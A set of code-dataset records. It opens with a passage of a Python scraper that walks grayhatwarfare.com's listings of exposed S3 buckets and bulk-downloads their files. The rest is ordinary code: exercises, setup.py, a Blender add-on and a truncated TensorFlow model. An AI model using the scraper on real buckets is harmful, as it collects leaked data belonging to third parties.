'https://buckets.grayhatwarfare.com/results/{0}/{1}'\n\ndef simple_get(url):\n try:\n with closing(get(url, stream=True)) as resp:\n if is_good_response(resp):\n return resp.content\n else:\n log('invalid response at {0}'.format(url))\n return None\n\n except RequestException as ex:\n log('simple_get: error during requests to {0} : {1}'.format(url, str(ex)))\n return None\n\n\ndef get_soup(content):\n try:\n if content is not None:\n return BeautifulSoup(content, 'html.parser')\n else:\n log('get_soup: content cannot be None')\n\n except Exception as ex:\n log(ex)\n\n\"\"\"\nthe table of s3 bucket links we want to grab files from\n\"\"\"\ndef get_s3_table(html):\n try:\n if html is not None: \n table = html.select('table') #should only be one table, but might need to future-proof\n if table is not None:\n return table[0]\n else:\n log('get_s3_table: table not found on page')\n else:\n log('get_s3_table: html cannot be None')\n\n except Exception as ex:\n log(ex)\n\ndef get_s3_table_links(table):\n try:\n if table is None:\n log('get_s3_table_links: table cannot be None')\n return None\n \n links = table.select('td a')\n result = []\n\n for link in links:\n href = link.attrs['href']\n if href.startswith('http'):\n result.append(link.attrs['href'])\n\n return result\n\n except Exception as ex:\n log(ex)\n\n\"\"\"\nreturns a list \n.pagination will be a ul\nurl ends with start record index, e.g. https://buckets.grayhatwarfare.com/results/xls/20 lists 21-40\n* the last li will contain the maximum record count, e.g. /results/xls/397912\n* the second-to-last li will contain the next page to scrape, e.g. if on 20, it should be /results/xls/40\n\"\"\"\ndef get_s3_pagination(html):\n \n if html is None:\n log('get_s3_pagination: html cannot be None')\n return None \n\n try:\n element = html.select('.pagination')\n if len(element) > 0:\n liList = element.select('li')\n link = liList[len(liList) - 2].select('a')\n if link is not None:\n link.attrs['href']\n else:\n log('get_s3_pagination: could not find pagination element')\n except Exception as ex:\n log(ex)\n\n\"\"\"\nreturns the full url of the next page to be scraped for s3 links\n\"\"\"\ndef get_next_s3_page(html):\n if html is None:\n log('get_next_s3_page: html cannot be None')\n return None \n\n try:\n element = html.select('.pagination')\n if len(element) > 0:\n liList = element[0].select('li')\n # second to last link is the 'next 20 results' button\n link = liList[len(liList) - 2].select('a')\n if link is not None and len(link) > 0:\n href = link[0].attrs.get('href')\n if href is not None and len(href) > 0:\n return '{0}/{1}'.format(grayhat_host, href)\n else:\n log('get_next_s3_page: invalid href value for link: {0}'.format(link))\n else:\n log('get_next_s3_page: invalid link value for element: {0}'.format(element))\n else:\n log('get_next_s3_page: could not find pagination element')\n except Exception as ex:\n log(ex)\n\n\n\"\"\"\nget files from s3 bucket links\nmakes dirs with the hostname and saves the file within that\n\"\"\"\ndef get_aws_file(url):\n try:\n r = get(url, allow_redirects=False)\n log('response: {0}'.format(r))\n if is_good_file_response(r):\n parsed = urlparse(url)\n hostname = parsed.hostname\n filename = parsed.path.replace('/', '_').strip('_')\n target = '{0}/{1}'.format(hostname, filename)\n\n if os.path.isdir(hostname) is False:\n os.makedirs('./{0}'.format(hostname))\n\n log('writing: {0}'.format(target))\n open(target, 'wb').write(r.content)\n else:\n log('get_aws_file: bad response at {0}, {1}'.format(url, r))\n except Exception as ex:\n log('get_aws_file: error getting file at {0}: {1}'.format(url, ex))\n\ndef make_url(search_value, page_start):\n return base_url.format(search_value, page_start)\n\ndef log(ex):\n print(ex)\n \ndef is_good_response(resp):\n content_type = resp.headers['Content-Type'].lower()\n return (resp.status_code == 200 \n and content_type is not None \n and content_type.find('html') > -1)\n\ndef is_good_file_response(resp):\n return resp.status_code == 200\n\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n url = make_url(args.search_value, args.pagination_start)\n timeout = args.request_timeout_ms\n\n print('Starting point: {0}'.format(url))\n\n while(True):\n if url is None:\n log('main: no url, exiting')\n exit()\n \n content = simple_get(url)\n soup = get_soup(content)\n table = get_s3_table(soup)\n links = get_s3_table_links(table)\n\n for link in links:\n log('main: getting {0}'.format(link))\n get_aws_file(link)\n\n\n url = get_next_s3_page(soup)\n #testing\n log('sleeping for {0}'.format(timeout))\n sleep(timeout / 1000)\n log('main: next s3 page: {0}'.format(url))\n ","sub_path":"s3scrape.py","file_name":"s3scrape.py","file_ext":"py","file_size_in_byte":6278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151569748","text":"def seasons():\n '''\n Select the season based on the input value where 1=Winter,\n 2=Spring, 3=Summer, and 4=Autumn.\n '''\n while True:\n try:\n season = int(input(\"Give me a number:\"))\n break\n except:\n print(\"Enter a number\")\n seasons = ['Winter', 'Spring', 'Summer', 'Autumn']\n if season == 1:\n print(seasons[0])\n elif season == 2:\n print(seasons[1])\n elif season == 3:\n print(seasons[2])\n elif season == 4:\n print(seasons[3])\n else:\n print(\"Number has to be between 1 and 4\")\n\n\ndef grades():\n '''\n Changes numerical grades to Letter grades and vice-versa\n '''\n try:\n grade = int(input(\"Enter a result:\"))\n if 100 >= grade >= 85:\n print(\"A\")\n elif 84 >= grade >= 70:\n print(\"B\")\n elif 69 >= grade >= 55:\n print(\"C\")\n elif 54 >= grade >= 40:\n print(\"D\")\n elif 39 >= grade >= 25:\n print(\"E\")\n elif 24 >= grade >= 0:\n print(\"F\")\n else:\n print(\"X\")\n except:\n # Added the capitalise statement so as to make grades work better\n gradeletter = (str(input('Enter a grade:'))).capitalize()\n if gradeletter == 'A':\n print('85-100')\n elif gradeletter == 'B':\n print('70-84')\n elif gradeletter == 'C':\n print('55-69')\n elif gradeletter == 'D':\n print('40-54')\n elif gradeletter == 'E':\n print('25-39')\n elif gradeletter == 'F':\n print('0-24')\n else:\n print('Thats not a grade')\n\n\ndef fizz_buzz():\n '''\n For multiples of\n divisor_1 the function return “Fizz”. For multiples of divisor_2, return “Buzz”. For\n numbers which are multiples of both divisor_1 and divisor_2 return “FizzBuzz” \n '''\n while True:\n try:\n fbnum = float(input(\"Enter a number:\"))\n divisor_1 = float(input(\"Enter a number:\"))\n divisor_2 = float(input(\"Enter a number:\"))\n break\n except:\n print(\"Enter a number\")\n if fbnum % divisor_1 == 0 and fbnum % divisor_2 == 0:\n print(\"FizzBuzz\")\n elif fbnum % divisor_1 == 0:\n print(\"Fizz\")\n elif fbnum % divisor_2 == 0:\n print(\"Buzz\")\n else:\n print(fbnum)\n\n\ndef slice_reverse(b):\n '''\n determine if the input_value is a palindrome\n '''\n a = list(b)\n if a[:] == a[::-1]:\n print(True)\n else:\n print(False)\n\n\ndef add_to_list(value, mylist):\n '''\n The function will add value to the list if\n the list does not already contain the value\n '''\n if value not in mylist:\n mylist.append(value)\n print(mylist)\n","sub_path":"functions_2.py","file_name":"functions_2.py","file_ext":"py","file_size_in_byte":2792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"367159131","text":"\"\"\"\nPython logging configurations done The Right Way\n\"\"\"\n\nimport os\n\nfrom setuptools import setup, find_packages\n\nversion = '0.1'\n\nsetup(\n name='service-logging',\n version=version,\n description=(\n 'Python logging configurations done The Right Way '\n 'for programs that may run in the foreground or background'),\n long_description=open(\n os.path.join(os.path.dirname(__file__), 'README.rst')).read(),\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Console',\n 'Intended Audience :: Developers',\n 'Intended Audience :: System Administrators',\n 'License :: OSI Approved :: GNU General Public License (GPL)',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: System :: Logging',\n 'Topic :: Utilities',\n ],\n keywords='logging syslog nteventlog console',\n author='Ross Patterson',\n author_email='me@rpatterson.net',\n url='https://pypi.python.org/pypi/service-logging',\n license='GPL',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n # -*- Extra requirements: -*-\n 'six',\n ],\n entry_points=dict(console_scripts=['servicelogging=servicelogging:main']),\n)\n","sub_path":"pypi_install_script/service-logging-0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611552248","text":"import rogue_log\n\n\nclass Test:\n\tdef __init__(self):\n\t\tlog = rogue_log.get_logger()\n\t\tlog.std(\"Test standard\")\n\nt = Test()\n\nclass Test2:\n\tdef __init__(self):\n\t\tlog = rogue_log.get_logger()\n\t\tlog.err(\"Test error\")\n\t\tprint(log.get_size())\n\t\tprint(log.get_recent_lines(2))\n\nt = Test2()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93961766","text":"def getRow(rowIndex):\n pr = [1]\n for i in range(rowIndex):\n r = [1]\n for j in range(1,i+1):\n r.append(pr[j-1] + pr[j])\n \n r.append(1)\n pr = r\n return pr\n\n# Give the triangle hight\nh = 5\n\nfor i in range(h):\n print(' ' * (h - i), ' '.join(str(x) for x in getRow(i)))","sub_path":"All New HTML,CSS, JS, JAVA, PY, C# & C++ Projects/Phyton Projects/Pascal_Triangle/pascal.py","file_name":"pascal.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270674819","text":"bl_info = {\n\t\"name\": \"kekit_misc\",\n\t\"author\": \"Kjell Emanuelsson\",\n\t\"category\": \"Modeling\",\n\t\"version\": (1, 3, 1),\n\t\"blender\": (2, 80, 0),\n}\nimport bpy\nimport bmesh\nfrom mathutils import Vector\nfrom bpy.types import Operator\nfrom .ke_utils import mouse_raycast\n# -------------------------------------------------------------------------------------------------\n# Selection\n# -------------------------------------------------------------------------------------------------\nclass MESH_OT_ke_select_boundary(Operator):\n\tbl_idname = \"mesh.ke_select_boundary\"\n\tbl_label = \"select boundary(+active)\"\n\tbl_description = \" Select Boundary ('region_to_loop') that also sets one edge to active. \"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn (context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH' and\n\t\t\t\tcontext.object.data.is_editmode)\n\n\tdef execute(self, context):\n\t\tobj = bpy.context.active_object\n\t\tbm = bmesh.from_edit_mesh(obj.data)\n\t\tbpy.ops.mesh.region_to_loop()\n\t\tsel_edges = [e for e in bm.edges if e.select]\n\t\tif sel_edges:\n\t\t\tbm.select_history.clear()\n\t\t\tbm.select_history.add(sel_edges[0])\n\t\t\tbmesh.update_edit_mesh(obj.data, True)\n\t\telse:\n\t\t\tbpy.context.tool_settings.mesh_select_mode = (False, True, False)\n\t\treturn {\"FINISHED\"}\n\n\nclass VIEW3D_OT_origin_to_selected(Operator):\n\tbl_idname = \"view3d.origin_to_selected\"\n\tbl_label = \"Origin To Selected Elements\"\n\tbl_description = \"Places origin(s) at element selection average\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn (context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH')\n\n\tdef execute(self, context):\n\t\tcursor = context.scene.cursor\n\t\trot = list(cursor.rotation_quaternion)\n\t\tloc = list(cursor.location)\n\n\t\tfor area in bpy.context.screen.areas:\n\t\t\tif area.type == 'VIEW_3D':\n\t\t\t\tcontext = bpy.context.copy()\n\t\t\t\tcontext['area'] = area\n\t\t\t\tcontext['region'] = area.regions[-1]\n\n\t\t\tif bpy.context.mode != \"EDIT_MESH\":\n\t\t\t\tbpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='MEDIAN')\n\t\t\telse:\n\t\t\t\t# context.scene.objects\n\t\t\t\t# if len(context.ob)\n\t\t\t\tbpy.ops.view3d.snap_cursor_to_selected()\n\t\t\t\tbpy.ops.object.mode_set(mode=\"OBJECT\")\n\t\t\t\tbpy.ops.object.origin_set(type='ORIGIN_CURSOR')\n\t\t\t\tcursor.location = loc\n\t\t\t\tcursor.rotation_quaternion = rot\n\t\t\t\tbreak\n\n\t\treturn {'FINISHED'}\n\n\nclass VIEW3D_OT_ke_object_to_cursor(Operator):\n\tbl_idname = \"view3d.ke_object_to_cursor\"\n\tbl_label = \"Align Object To Cursor\"\n\tbl_description = \"Aligns selected object(s) to Cursor (Rotation & Location)\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn context.object is not None\n\n\tdef execute(self, context):\n\t\tcursor = context.scene.cursor\n\t\tfor obj in context.selected_objects:\n\t\t\tobj.location = cursor.location\n\t\t\tog_rot_mode = str(obj.rotation_mode)\n\t\t\tobj.rotation_mode = \"QUATERNION\"\n\t\t\tobj.rotation_quaternion = cursor.rotation_quaternion\n\t\t\tobj.rotation_mode = og_rot_mode\n\n\t\treturn {'FINISHED'}\n\n\nclass VIEW3D_OT_ke_origin_to_cursor(Operator):\n\tbl_idname = \"view3d.ke_origin_to_cursor\"\n\tbl_label = \"Align Origin To Cursor\"\n\tbl_description = \"Aligns selected object(s) origin(s) (ONLY) to Cursor (Rotation & Location)\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn (context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH')\n\n\tdef execute(self, context):\n\t\tif context.object.data.is_editmode:\n\t\t\tbpy.ops.object.mode_set(mode=\"OBJECT\")\n\n\t\tcontext.scene.tool_settings.use_transform_data_origin = True\n\t\tbpy.ops.object.origin_set(type='ORIGIN_CURSOR', center='MEDIAN')\n\t\tbpy.ops.transform.transform(mode='ALIGN', value=(0, 0, 0, 0), orient_type='CURSOR', mirror=True,\n\t\t\t\t\t\t\t\t\tuse_proportional_edit=False, proportional_edit_falloff='SMOOTH',\n\t\t\t\t\t\t\t\t\tproportional_size=1, use_proportional_connected=False,\n\t\t\t\t\t\t\t\t\tuse_proportional_projected=False)\n\t\tcontext.scene.tool_settings.use_transform_data_origin = False\n\n\t\treturn {'FINISHED'}\n\n\nclass VIEW3D_OT_ke_overlays(Operator):\n\tbl_idname = \"view3d.ke_overlays\"\n\tbl_label = \"Overlay Options & Toggles\"\n\tbl_description = \"Overlay Options & Toggles\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER'}\n\n\toverlay: bpy.props.EnumProperty(\n\t\titems=[(\"WIRE\", \"Show Wireframe\", \"\", \"WIRE\", 1),\n\t\t\t (\"EXTRAS\", \"Show Extras\", \"\", \"EXTRAS\", 2),\n\t\t\t (\"SEAMS\", \"Show Edge Seams\", \"\", \"SEAMS\", 3),\n\t\t\t (\"SHARP\", \"Show Edge Sharp\", \"\", \"SHARP\", 4),\n\t\t\t (\"CREASE\", \"Show Edge Crease\", \"\", \"CREASE\", 5),\n\t\t\t (\"BEVEL\", \"Show Edge Bevel Weight\", \"\", \"BEVEL\", 6),\n\t\t\t (\"FACEORIENT\", \"Show Face Orientation\", \"\", \"FACEORIENT\", 7),\n\t\t\t (\"INDICES\", \"Show Indices\", \"\", \"INDICES\", 8),\n\t\t\t (\"ALLEDIT\", \"Toggle Edit Overlays\", \"\", \"ALLEDIT\", 9),\n\t\t\t (\"ALL\", \"Toggle Overlays\", \"\", \"ALL\", 10),\n\t\t\t (\"VN\", \"Vertex Normals\", \"\", \"VN\", 11),\n\t\t\t (\"SN\", \"Split Normals\", \"\", \"SN\", 12),\n\t\t\t (\"FN\", \"Face Normals\", \"\", \"FN\", 13),\n\t\t\t (\"BACKFACE\", \"Backface Culling\", \"\", \"BACKFACE\", 14),\n\t\t\t (\"ORIGINS\", \"Show Origins\", \"\", \"ORIGINS\", 15),\n\t\t\t (\"CURSOR\", \"Show Cursor\", \"\", \"CURSOR\", 16),\n\t\t\t (\"OUTLINE\", \"Show Outline\", \"\", \"OUTLINE\", 17),\n\t\t\t ],\n\t\tname=\"Overlay Type\",\n\t\tdefault=\"WIRE\")\n\n\tdef execute(self, context):\n\t\tif bpy.context.mode == \"EDIT_MESH\":\n\n\t\t\tif self.overlay == \"EXTRAS\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_extras\n\t\t\t\tbpy.context.space_data.overlay.show_extras = not status\n\n\t\t\telif self.overlay == \"SEAMS\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_edge_seams\n\t\t\t\tbpy.context.space_data.overlay.show_edge_seams = not status\n\n\t\t\telif self.overlay == \"SHARP\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_edge_sharp\n\t\t\t\tbpy.context.space_data.overlay.show_edge_sharp = not status\n\n\t\t\telif self.overlay == \"CREASE\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_edge_crease\n\t\t\t\tbpy.context.space_data.overlay.show_edge_crease = not status\n\n\t\t\telif self.overlay == \"BEVEL\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_edge_bevel_weight\n\t\t\t\tbpy.context.space_data.overlay.show_edge_bevel_weight = not status\n\n\t\t\telif self.overlay == \"FACEORIENT\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_face_orientation\n\t\t\t\tbpy.context.space_data.overlay.show_face_orientation = not status\n\n\t\t\telif self.overlay == \"INDICES\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_extra_indices\n\t\t\t\tbpy.context.space_data.overlay.show_extra_indices = not status\n\n\t\t\telif self.overlay == \"ALLEDIT\":\n\t\t\t\tif bpy.context.space_data.overlay.show_edge_seams or bpy.context.space_data.overlay.show_edge_sharp:\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_seams = False\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_sharp = False\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_crease = False\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_bevel_weight = False\n\t\t\t\telse:\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_seams = True\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_sharp = True\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_crease = True\n\t\t\t\t\tbpy.context.space_data.overlay.show_edge_bevel_weight = True\n\n\t\t\telif self.overlay == \"ALL\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_overlays\n\t\t\t\tbpy.context.space_data.overlay.show_overlays = not status\n\n\t\t\telif self.overlay == \"VN\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_vertex_normals\n\t\t\t\tbpy.context.space_data.overlay.show_vertex_normals = not status\n\n\t\t\telif self.overlay == \"SN\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_split_normals\n\t\t\t\tbpy.context.space_data.overlay.show_split_normals = not status\n\n\t\t\telif self.overlay == \"FN\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_face_normals\n\t\t\t\tbpy.context.space_data.overlay.show_face_normals = not status\n\n\t\t\telif self.overlay == \"BACKFACE\":\n\t\t\t\tstatus = bpy.context.space_data.shading.show_backface_culling\n\t\t\t\tbpy.context.space_data.shading.show_backface_culling = not status\n\n\t\t\telif self.overlay == \"ORIGINS\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_object_origins\n\t\t\t\tbpy.context.space_data.overlay.show_object_origins = not status\n\n\t\t\telif self.overlay == \"OUTLINE\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_outline_selected\n\t\t\t\tbpy.context.space_data.overlay.show_outline_selected = not status\n\n\t\t\telif self.overlay == \"CURSOR\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_cursor\n\t\t\t\tbpy.context.space_data.overlay.show_cursor = not status\n\n\n\t\telif bpy.context.mode == \"OBJECT\":\n\n\t\t\tif self.overlay == \"WIRE\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_wireframes\n\t\t\t\tbpy.context.space_data.overlay.show_wireframes = not status\n\n\t\t\telif self.overlay == \"EXTRAS\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_extras\n\t\t\t\tbpy.context.space_data.overlay.show_extras = not status\n\n\t\t\telif self.overlay == \"ALL\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_overlays\n\t\t\t\tbpy.context.space_data.overlay.show_overlays = not status\n\n\t\t\telif self.overlay == \"ORIGINS\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_object_origins\n\t\t\t\tbpy.context.space_data.overlay.show_object_origins = not status\n\n\t\t\telif self.overlay == \"OUTLINE\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_outline_selected\n\t\t\t\tbpy.context.space_data.overlay.show_outline_selected = not status\n\n\t\t\telif self.overlay == \"CURSOR\":\n\t\t\t\tstatus = bpy.context.space_data.overlay.show_cursor\n\t\t\t\tbpy.context.space_data.overlay.show_cursor = not status\n\n\t\treturn {'FINISHED'}\n\n\nclass VIEW3D_OT_ke_frame_view(Operator):\n\tbl_idname = \"view3d.ke_frame_view\"\n\tbl_label = \"Frame All or Selected in View\"\n\tbl_description = \"Frame Selection in View, or everything if nothing is selected.\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER'}\n\n\tdef execute(self, context):\n\t\tsel_mode = bpy.context.mode\n\t\tsel_obj = [o for o in bpy.context.scene.objects if o.select_get()]\n\n\t\tif sel_mode == \"OBJECT\":\n\t\t\tif sel_obj:\n\t\t\t\tbpy.ops.view3d.view_selected('INVOKE_DEFAULT', use_all_regions=False)\n\t\t\telse:\n\t\t\t\tbpy.ops.view3d.view_all('INVOKE_DEFAULT', center=True)\n\n\t\telif sel_mode == \"EDIT_MESH\":\n\n\t\t\tbpy.ops.object.mode_set(mode=\"OBJECT\")\n\t\t\tsel_check = False\n\n\t\t\tfor o in bpy.context.scene.objects:\n\t\t\t\tif not sel_check and o.type == \"MESH\":\n\t\t\t\t\tfor v in o.data.vertices:\n\t\t\t\t\t\tif v.select:\n\t\t\t\t\t\t\tsel_check = True\n\t\t\t\t\t\t\tbreak\n\n\t\t\tbpy.ops.object.mode_set(mode=\"EDIT\")\n\n\t\t\tif sel_check:\n\t\t\t\tbpy.ops.view3d.view_selected('INVOKE_DEFAULT', use_all_regions=False)\n\n\t\t\telse:\n\t\t\t\tbpy.ops.view3d.view_all('INVOKE_DEFAULT', center=True)\n\n\t\treturn {'FINISHED'}\n\n\nclass VIEW3D_OT_ke_spacetoggle(Operator):\n\tbl_idname = \"view3d.ke_spacetoggle\"\n\tbl_label = \"Space Toggle\"\n\tbl_description = \"Toggle between Edit Mesh and Object modes when mouse pointer is over -nothing-.\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER'}\n\n\tmouse_pos = Vector((0, 0))\n\n\t@classmethod\n\tdef poll(cls, context):\n\t\treturn (context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH')\n\n\tdef invoke(self, context, event):\n\t\tself.mouse_pos[0] = event.mouse_region_x\n\t\tself.mouse_pos[1] = event.mouse_region_y\n\t\treturn self.execute(context)\n\n\tdef execute(self, context):\n\t\tsel_mode = bpy.context.mode\n\t\tbpy.ops.object.mode_set(mode='OBJECT')\n\t\tobj, hit_wloc, hit_normal, face_index = mouse_raycast(context, self.mouse_pos)\n\n\t\tif not face_index:\n\t\t\tif sel_mode == \"OBJECT\":\n\t\t\t\tbpy.ops.object.mode_set(mode=\"EDIT\")\n\t\t\telif sel_mode == \"EDIT_MESH\":\n\t\t\t\tbpy.ops.object.mode_set(mode=\"OBJECT\")\n\n\t\treturn {'FINISHED'}\n\n\ndef get_og_overlay_ui(self):\n\tog_gizmo = bpy.context.space_data.show_gizmo_navigate\n\tog_floor = bpy.context.space_data.overlay.show_floor\n\tog_x = bpy.context.space_data.overlay.show_axis_x\n\tog_y = bpy.context.space_data.overlay.show_axis_y\n\tog_z = bpy.context.space_data.overlay.show_axis_z\n\tog_text = bpy.context.space_data.overlay.show_text\n\tog_extras = bpy.context.space_data.overlay.show_extras\n\n\tfor area in bpy.context.screen.areas:\n\t\tif area.type == 'VIEW_3D':\n\t\t\tfor space in area.spaces:\n\t\t\t\tif space.type == 'VIEW_3D':\n\t\t\t\t\tog_ui = space.show_region_ui\n\t\t\t\t\tog_tb = space.show_region_toolbar\n\n\treturn [og_gizmo, og_floor, og_x, og_y, og_z, og_text, og_extras, og_ui, og_tb]\n\n\nclass VIEW3D_OT_ke_focusmode(Operator):\n\tbl_idname = \"view3d.ke_focusmode\"\n\tbl_label = \"Focus Mode\"\n\tbl_description = \"Fullscreen+. Restores original settings when toggled back.\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'UI'\n\tbl_options = {'REGISTER'}\n\n\tsupermode : bpy.props.BoolProperty(default=False)\n\n\tdef execute(self, context):\n\n\t\tset_focus = bpy.context.scene.ke_focus[0]\n\t\tset_super_focus = bpy.context.scene.ke_focus[10]\n\n\t\tif not set_focus:\n\t\t\tog = get_og_overlay_ui(self)\n\n\t\t\tcontext.space_data.show_gizmo_navigate = False\n\t\t\tcontext.space_data.overlay.show_floor = False\n\t\t\tcontext.space_data.overlay.show_axis_x = False\n\t\t\tcontext.space_data.overlay.show_axis_y = False\n\t\t\tcontext.space_data.overlay.show_axis_z = False\n\t\t\tcontext.space_data.overlay.show_text = False\n\t\t\tcontext.space_data.overlay.show_extras = False\n\n\t\t\tcontext.scene.ke_focus[1] = og[0]\n\t\t\tcontext.scene.ke_focus[2] = og[1]\n\t\t\tcontext.scene.ke_focus[3] = og[2]\n\t\t\tcontext.scene.ke_focus[4] = og[3]\n\t\t\tcontext.scene.ke_focus[5] = og[4]\n\t\t\tcontext.scene.ke_focus[6] = og[5]\n\t\t\tcontext.scene.ke_focus[7] = og[6]\n\t\t\tcontext.scene.ke_focus[8] = og[7]\n\t\t\tcontext.scene.ke_focus[9] = og[8]\n\n\t\t\tcontext.scene.ke_focus[0] = True\n\t\t\tif self.supermode: context.scene.ke_focus[10] = True\n\n\t\t\tbpy.ops.screen.screen_full_area(use_hide_panels=self.supermode)\n\n\t\t\tfor area in context.screen.areas:\n\t\t\t\tif area.type == 'VIEW_3D':\n\t\t\t\t\tfor space in area.spaces:\n\t\t\t\t\t\tif space.type == 'VIEW_3D':\n\t\t\t\t\t\t\tspace.show_region_ui = False\n\t\t\t\t\t\t\tspace.show_region_toolbar = False\n\n\t\telse:\n\t\t\tog = bpy.context.scene.ke_focus[1:]\n\n\t\t\tcontext.space_data.show_gizmo_navigate = og[0]\n\t\t\tcontext.space_data.overlay.show_floor = og[1]\n\t\t\tcontext.space_data.overlay.show_axis_x = og[2]\n\t\t\tcontext.space_data.overlay.show_axis_y = og[3]\n\t\t\tcontext.space_data.overlay.show_axis_z = og[4]\n\t\t\tcontext.space_data.overlay.show_text = og[5]\n\t\t\tcontext.space_data.overlay.show_extras = og[6]\n\n\t\t\tcontext.scene.ke_focus[0] = False\n\t\t\tcontext.scene.ke_focus[10] = False\n\n\t\t\tif not self.supermode and set_super_focus:\n\t\t\t\tbpy.ops.screen.screen_full_area(use_hide_panels=True)\n\t\t\telif self.supermode and not set_super_focus:\n\t\t\t\tbpy.ops.screen.screen_full_area(use_hide_panels=False)\n\t\t\telse:\n\t\t\t\tbpy.ops.screen.screen_full_area(use_hide_panels=self.supermode)\n\n\t\t\tfor area in context.screen.areas:\n\t\t\t\tif area.type == 'VIEW_3D':\n\t\t\t\t\tfor space in area.spaces:\n\t\t\t\t\t\tif space.type == 'VIEW_3D':\n\t\t\t\t\t\t\tspace.show_region_ui = og[7]\n\t\t\t\t\t\t\tspace.show_region_toolbar = og[8]\n\n\t\treturn {'FINISHED'}\n\n# -------------------------------------------------------------------------------------------------\n# Class Registration & Unregistration\n# -------------------------------------------------------------------------------------------------\nclasses = (\n\tMESH_OT_ke_select_boundary,\n\tVIEW3D_OT_origin_to_selected,\n\tVIEW3D_OT_ke_overlays,\n\tVIEW3D_OT_ke_frame_view,\n\tVIEW3D_OT_ke_spacetoggle,\n\tVIEW3D_OT_ke_focusmode,\n\tVIEW3D_OT_ke_object_to_cursor,\n\tVIEW3D_OT_ke_origin_to_cursor,\n)\n\ndef register():\n\tfor c in classes:\n\t\tbpy.utils.register_class(c)\n\tbpy.types.Scene.ke_focus = bpy.props.BoolVectorProperty(size=16)\n\ndef unregister():\n\tfor c in reversed(classes):\n\t\tbpy.utils.unregister_class(c)\n\ttry:\n\t\tdel bpy.types.Scene.ke_focus\n\texcept Exception as e:\n\t\tprint('unregister fail:\\n', e)\n\t\tpass\n\nif __name__ == \"__main__\":\n\tregister()\n","sub_path":"scripts/addons/kekit/ke_misc.py","file_name":"ke_misc.py","file_ext":"py","file_size_in_byte":15609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"523669937","text":"import tensorflow as tf\nimport numpy as np\ntf.logging.set_verbosity(tf.logging.INFO)\n\n\ndef my_model_fn(features, labels, mode):\n conv1 = tf.layers.conv2d(\n inputs=features,\n filters=32,\n kernel_size=3,\n padding='same',\n kernel_initializer=tf.keras.initializers.he_uniform)\n bn1 = tf.layers.BatchNormalization(conv1, axis=1)\n av1 = tf.nn.relu(bn1)\n pool1 = tf.layers.max_pooling2d(av1, pool_size=3, strides=1)\n dropout1 = tf.layers.dropout(pool1, rate=0.5, training=mode == tf.estimator.ModeKeys.TRAIN)\n\n conv2 = tf.layers.conv2d(\n inputs=dropout1,\n filters=64,\n kernel_size=3,\n padding='same',\n kernel_initializer=tf.keras.initializers.he_uniform)\n bn2 = tf.layers.BatchNormalization(conv2, axis=1)\n av2 = tf.nn.relu(bn2)\n pool2 = tf.layers.max_pooling2d(av2, pool_size=3, 